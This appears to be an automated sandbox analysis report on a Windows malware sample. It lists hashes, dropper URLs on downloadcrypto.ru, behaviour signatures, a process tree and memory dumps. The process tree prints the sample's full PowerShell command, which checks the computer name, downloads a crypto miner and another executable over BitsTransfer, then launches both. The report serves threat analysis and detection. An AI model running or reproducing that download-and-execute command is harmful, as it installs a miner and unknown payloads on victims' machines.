58ac096c4b57fe64461e8a162889c4c23089bc13ddc1188d0063c2a1169f94b3

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
13/01/2024, 20:19

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General

Target

59531cb95299227ef8a9102fe7b04323.exe
Size

11.4MB
MD5

59531cb95299227ef8a9102fe7b04323
SHA1

028ab74b67c2e3a530bac4bf25ca072049aaee70
SHA256

58ac096c4b57fe64461e8a162889c4c23089bc13ddc1188d0063c2a1169f94b3
SHA512

7fb060f3eb4787293803a43c20978eb17760b74168eea629a79eaed2b41425edd6849f8773c3036449b3286298a4e6395079d9a730f0d684643294842a822472
SSDEEP

196608:k1EwMlSWxlhEu3DPwlhi81/s0d7fpIKFMfDQBJvoRpRkG0kRCIXRV+Yz:k1mlSW/uGDPwLi81/s0V/MLo6XRk+RCM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://downloadcrypto.ru/soft/nbminer_37.6.exe

exe.dropper

http://downloadcrypto.ru/soft/Weakness.exe

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2864	2072	59531cb95299227ef8a9102fe7b04323.exe	28
PID 2072 wrote to memory of 2864	2072	59531cb95299227ef8a9102fe7b04323.exe	28
PID 2072 wrote to memory of 2864	2072	59531cb95299227ef8a9102fe7b04323.exe	28
PID 2072 wrote to memory of 2864	2072	59531cb95299227ef8a9102fe7b04323.exe	28
PID 2072 wrote to memory of 2676	2072	59531cb95299227ef8a9102fe7b04323.exe	30
PID 2072 wrote to memory of 2676	2072	59531cb95299227ef8a9102fe7b04323.exe	30
PID 2072 wrote to memory of 2676	2072	59531cb95299227ef8a9102fe7b04323.exe	30
PID 2072 wrote to memory of 2676	2072	59531cb95299227ef8a9102fe7b04323.exe	30
PID 2676 wrote to memory of 2756	2676	cmd.exe	32
PID 2676 wrote to memory of 2756	2676	cmd.exe	32
PID 2676 wrote to memory of 2756	2676	cmd.exe	32
PID 2676 wrote to memory of 2756	2676	cmd.exe	32
PID 2072 wrote to memory of 2716	2072	59531cb95299227ef8a9102fe7b04323.exe	33
PID 2072 wrote to memory of 2716	2072	59531cb95299227ef8a9102fe7b04323.exe	33
PID 2072 wrote to memory of 2716	2072	59531cb95299227ef8a9102fe7b04323.exe	33
PID 2072 wrote to memory of 2716	2072	59531cb95299227ef8a9102fe7b04323.exe	33

C:\Users\Admin\AppData\Local\Temp\59531cb95299227ef8a9102fe7b04323.exe
"C:\Users\Admin\AppData\Local\Temp\59531cb95299227ef8a9102fe7b04323.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo tvZeSMv
  2⤵
  PID:2864
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://downloadcrypto.ru/soft/nbminer_37.6.exe,http://downloadcrypto.ru/soft/Weakness.exe -Destination AijormzYrjJ.exe,CDVIeJgPLSLZm.exe;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://downloadcrypto.ru/soft/nbminer_37.6.exe,http://downloadcrypto.ru/soft/Weakness.exe -Destination AijormzYrjJ.exe,CDVIeJgPLSLZm.exe;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start AijormzYrjJ.exe & start CDVIeJgPLSLZm.exe
  2⤵
  PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2716-30-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2756-6-0x0000000073FD0000-0x000000007457B000-memory.dmp

Filesize
5.7MB

Download
memory/2756-7-0x0000000073FD0000-0x000000007457B000-memory.dmp

Filesize
5.7MB

Download
memory/2756-8-0x0000000002D40000-0x0000000002D80000-memory.dmp

Filesize
256KB

Download
memory/2756-9-0x0000000002D40000-0x0000000002D80000-memory.dmp

Filesize
256KB

Download
memory/2756-19-0x0000000073FD0000-0x000000007457B000-memory.dmp

Filesize
5.7MB

Download